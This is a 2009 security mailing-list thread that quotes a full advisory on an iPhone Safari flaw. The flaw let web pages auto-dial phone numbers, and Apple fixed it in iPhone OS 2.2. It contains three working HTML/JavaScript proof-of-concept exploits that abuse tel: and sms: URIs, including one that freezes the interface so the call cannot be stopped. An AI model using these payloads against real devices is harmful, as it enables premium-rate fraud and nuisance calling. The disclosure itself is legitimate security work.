Date: Thu, 18 Jun 2009 19:29:05 +0200
From: Collin Mulliner <collin@...aversion.net>
To: Mike Ely <me@...pehat.com>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: Re: iPhone Safari phone-auto-dial vulnerability (original date: Nov.
 2008)

Mike,

just getting to the phone dialer is not a bug! That is what the tel: 
protocol is for. All most all mobile phones implement this, every time 
you open a tel: URL you will get to the dialer in some way.

Collin

Mike Ely wrote:
> Confirmed on the T-Mobile G1 email app running OS version 1.5.  Was wondering why my phone stepped on email to dial out when I read this email and then I read the subject line ;)
> 
> FWIW, it didn't actually dial, just loaded the dialer with that number ready.  
> 
> Looks like this is a Webkit bug, not Safari. 
> 
> Collin Mulliner <collin@...aversion.net> wrote:
> 
>> Released since Apple published the iPhone 3.0 security fixes.
>>
>> Vulnerability Report
>>
>> --- BEGIN ADVISORY ---
>>
>> Manufacturer: Apple (www.apple.com)
>> Device:       iPhone 3G (iPhone 1st Gen)
>> Firmware:     2.1 (possible earlier versions)
>> Device Type:  smart phone
>>
>> Subsystems: Safari (and mobile telephony)
>>
>> -----------------------------
>>
>> Short name:
>>   iPhone Safari phone-auto-dial (vulnerability)
>>
>> Vulnerability class:
>>   application logic bug
>>
>> Executive Summary:
>>   A malicious website can initiate a phone call without the need of user
>>   interaction. The destination phone number is chosen by the attacker.
>>
>> Risk: MEDIUM-HIGH
>>   Medium to high risk due to the possibility of financial gain through
>>   this attack by calling of premium rate numbers (e.g. 1-900 in the
>>   U.S.). Denial-of-service against arbitrary phone numbers through
>>   mass-calling. User cannot prevent attack.
>>
>> -----------------------------
>>
>> Reporter: Collin Mulliner <collin[AT]mulliner.org>
>>
>> -----------------------------
>>
>> Affiliation: MUlliNER.ORG / the trifinite group / (Fraunhofer SIT)
>>
>> -----------------------------
>>
>> Time line:
>>
>>   Oct. 20. 2008: Reported vulnerability to vendor.
>>   Oct. 20. 2008: Vendor acknowledges receiving our email.
>>                  Not commenting on the vulnerability itself.
>>   Oct. 27. 2008: Sent update to vendor, also requesting a status report.
>>   Oct. 29. 2008: Reply from vendor acknowledging the vulnerability.
>>   Oct. 30. 2008: Sent additional information.
>>   Nov. 13. 2008: Vender says vulnerability is fixed in upcoming OS
>>                  version.
>>   Nov. 20. 2008: Public disclosure.
>>   Jun. 18. 2009: Full-Disclosure.
>>
>> -----------------------------
>>
>> Fix:
>>
>>   iPhone OS 2.2
>>   iPhone OS 2.2.1
>>   iPhone OS 3.0
>> 	
>> -----------------------------
>>
>> Technical Details:
>>
>>   The Safari version running on the iPhone supports handling the TEL [1]
>>   protocol through launching the telephony/dialer application. This is
>>   done by passing the provided phone number to the telephony
>>   application. Under normal conditions, loading a tel: URI results in a
>>   message box asking the user's permission to call the given number. The
>>   user is presented with the simple choice to either press call or
>>   cancel.
>>
>>   A TEL URI can be opened automatically if the TEL URI is used as the
>>   source of an HTML iframe or frame, as the URL of a meta refresh, as
>>   the location of a HTTP 30X redirect, and as the location of the
>>   current or a new window using javascript.
>>
>>   We discovered a security vulnerability that dismisses the "ask for
>>   permission to call" dialog in a way that chooses the "call" option
>>   rather than the "cancel" option.
>> 	
>>   This condition occurs if a TEL URI is activated at the same time
>>   Safari is closed by launching an external application, for example
>>   launching the SMS application (in order to handle a SMS URI [2]). The
>>   SMS application can be launched through placing a SMS URI as the
>>   source of an iframe. This is shown in the first proof-of-concept
>>   exploit below.
>> 	
>>   Further investigation showed that this behavior can be reproduced by
>>   launching other applications such as: Maps, YouTube, and iTunes.
>>   Launching these applications can be achieved through loading special
>>   URLs using the meta refresh tag. This is shown in the second
>>   proof-of-concept exploit below.
>>
>>   We also discovered that the bug can also be triggered through popup
>>   windows (e.g. javascript alert). In this situation the initiating app
>>   does not need to be termianted in order to active the call.
>> 	
>>   Finally, we discovered a second bug that can be used to perform
>>   malicious phone calls that cannot be prevented or canceled by the
>>   victim. This bug allows the attacker to freez the GUI (graphical user
>>   interface) for a number of seconds. While the GUI is frozen the call
>>   progresses in	the background and cannot be stopped by the victim user.
>>   Freezing the GUI is achieved by passing a "very long" phone number to
>>   the SMS application. The SMS application, immediately after being
>>   started, freezes the iPhone GUI. Also switching off the iPhone cannot
>>   be performed fast enough in order to prevent the malicious call.
>> 	
>>
>>   [1] http://www.rfc-editor.org/rfc/rfc3966.txt
>>   [2] http://tools.ietf.org/html/draft-antti-gsm-sms-url-04
>>
>> -----------------------------
>>
>> Further Discussion:
>>
>>   The dialing dialog is clearly shown to the user also the user, in most
>>   cases, can't press cancel quick enough in order to stop the initiation
>>   of the call. Once the external application is launched, the telephony
>>   application is running in the background performing the call. Only
>>   the call forwarding dialog (containing the "dismiss" button) indicates
>>   a call being made.
>>
>> -----------------------------
>>
>> Proof-of-Concept with plain HTML using the SMS application:
>>
>>   <html>
>>   <head>
>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>   </title>
>>   </head>
>>   <body>
>>   <iframe src="sms:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>   <!-- second iframe is to attack quick users who manage to close the
>>        first call-dialog //-->
>>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>>   </body>
>>   </html>
>>
>> Proof-of-Concept using javascript and the Maps application:
>>
>>   <html>
>>   <head>
>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>   </title>
>>   <meta http-equiv="refresh" content="0;
>>   URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt">
>>   </head>
>>   <body>
>>   <script lang=javascript>
>>   function a() {
>>    document.write("<iframe src=\"tel:+14089748388\" WIDTH=50 
>> HEIGHT=10></iframe>");
>>   }
>>   setTimeout("a()", 100);
>>   </script>
>>   </body>
>>   </html>
>> 	
>> Proof-of-Concept attack where the victim user cannot stop the malicious 
>> phone call:
>>
>>   <html>
>>   <head>
>>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>>   </title>
>>   </head>
>>   <body>
>>   <script lang=javascript>
>>   l = "<iframe src=\"sms:";
>>   for (i = 0; i < 10000; i++) {
>>           l = l + "3340948034298232";
>>   }
>>   l = l + "\" width=10 height=10></iframe><iframe
>>   src=\"tel:+14089748388\" height=10 width=10></iframe>";
>>   document.write(l);
>>   </script>
>>   </body>
>>   </html>
>>
>> -----------------------------
>>
>> More Detailed Information:
>>
>>  Demo video available at:
>>   http://www.mulliner.org/iphone/
>>
>>  Advisories:
>>   http://www.mulliner.org/security/advisories/
>>
>> --- END ADVISORY ---
>>
>>
>> -- 
>> Collin R. Mulliner <collin@...aversion.net>
>> info/pgp: finger collin@...aversion.net
>> If Bill Gates had a nickel for every time Windows crashed... Oh wait, he 
>> does!


-- 
Collin R. Mulliner <collin@...aversion.net>
info/pgp: finger collin@...aversion.net
C gives you enough rope to hang yourself. C++ also gives you the tree 
object to tie it to.

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